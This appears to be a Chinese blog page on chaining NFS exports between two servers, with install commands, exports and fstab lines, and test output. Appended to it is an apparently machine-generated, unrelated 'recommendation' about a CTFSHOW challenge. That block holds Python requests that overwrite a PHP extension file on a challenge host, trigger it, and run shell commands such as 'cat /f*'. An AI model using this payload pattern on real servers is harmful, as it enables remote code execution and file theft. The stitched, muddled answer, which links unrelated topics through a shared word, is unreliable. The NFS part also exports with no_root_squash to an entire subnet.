关于nfs套娃的那些事

nfs套娃

起因:因nfs服务器磁盘快爆满了,业务还需拓展,考虑到其他服务器磁盘资源充足,应开发需求,套娃之路从此开始

hostnameipserver
data192.168.1.2nfs-server
image192.168.1.3nfs-server

在这里插入图片描述
原结构

原架构
​ 套娃后结构

第一层套娃

[root@data ~]# yum install -y nfs-utils rpcbind
[root@data ~]# systemctl start rpcbind && systemctl enable rpcbind
[root@data ~]# mkdir /data
[root@data ~]# vim /etc/exports
/data 192.168.1.0/24(rw,no_root_squash,no_all_squash,sync)
[root@data ~]# systemctl start nfs-server && systemctl enable nfs-server
[root@image ~]# yum install -y nfs-utils rpcbind
[root@image ~]# systemctl start rpcbind && systemctl enable rpcbind
[root@image ~]# showmount -e 192.168.1.2
Export list for 192.168.1.2:
/data 192.168.1.0/24
[root@image ~]# mkdir /data
# 挂载第一个nfs
[root@image ~]# mount 192.168.1.2:/data /data
[root@image ~]# vim /etc/fstab
# 配置开机挂载
192.168.1.2:/data /data nfs defaults 0 0 
# 测试第一个nfs
[root@data ~]# touch /data/test1
[root@image ~]# ls /data
test1
[root@image ~]# touch /data/test2
[root@data ~]# ls /data
test1 test2

第二层套娃

[root@image ~]# mkdir /image
[root@image ~]# vim /etc/exports
/image 192.168.1.0/24(rw,no_root_squash,no_all_squash,sync)
[root@image ~]# systemctl start nfs-server && systemctl enable nfs-server
[root@data ~]# showmount -e 192.168.1.3
Export list for 192.168.1.3:
/image 192.168.1.0/24
[root@data ~]# mkdir /data/image
[root@data ~]# mount 192.168.1.3:/image /data/image
[root@data ~]# vim /etc/fstab
192.168.1.3:/image /data/image nfs defaults 0 0 
# 这里192.168.1.3也需要挂载,否则192.168.1.3无法获取到192.168.1.2:/data/image的信息,只有在192.168.1.3:/image才有记录,192.168.1.3:/data/image不会有记录
# 以下为只在192.168.1.2挂载的测试记录
[root@data ~]# touch /data/image/test3
[root@data ~]# ls /data/image
test3
[root@image ~]# ls /data/image
# 此时返回为空
[root@image ~]# ls /image
test3
[root@image ~]# mount 192.168.1.3:/image /data/image
[root@image ~]# vim /etc/fstab
192.168.1.3:/image /data/image nfs defaults 0 0
[root@image ~]# ls /data/image
test3
[root@image ~]# touch /data/image/test4
[root@image ~]# ls /data/image
test3 test4
[root@image ~]# ls /image
test3 test4
[root@data ~]# ls /data/image
test3 test4
[root@data ~]# touch /data/image/test5
[root@data ~]# ls /data/image
test3 test4 test5
[root@image ~]# ls /data/image
test3 test4 test5
[root@image ~]# ls /image
test3 test4 test5
# 至此套娃结束
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CTFSHOW套娃shell是一种常见的利用技术,用于在Web应用程序中执行命令和控制服务器。根据提供的引用内容,以下是一种使用CTFSHOW套娃shell的方法: 1. 首先,需要获取CTFSHOW扩展。可以通过运行命令`php ext_skel.php --ext ctfshow --std`来生成该扩展的目录。 2. 进入生成的目录,并编辑.c文件,根据需要进行修改。 3. 执行以下命令来编译和安装扩展:`phpize ./configure make && make install`。编译完成后,会告知具体的扩展安装位置。 4. 通过发送POST请求,使用CTFSHOW套娃shell来写入并执行命令。示例代码如下: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'file': '/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so', 'content': open('ctfshow.so', 'rb').read()} requests.post(url + '?a=write', data=data) requests.get(url + '?a=run') ``` 5. 使用CTFSHOW套娃shell执行命令。可以使用以下命令示例: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'cmd': 'cat /f*'} requests.post(url + '?a=shell', data=data) ``` 这样,您就可以使用CTFSHOW套娃shell来执行命令并获取所需的结果了。请注意,使用套娃shell存在安全风险,应仅在合法和授权的情况下使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [CTFSHOW 常用姿势篇(811-820)](https://blog.csdn.net/miuzzx/article/details/124038567)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值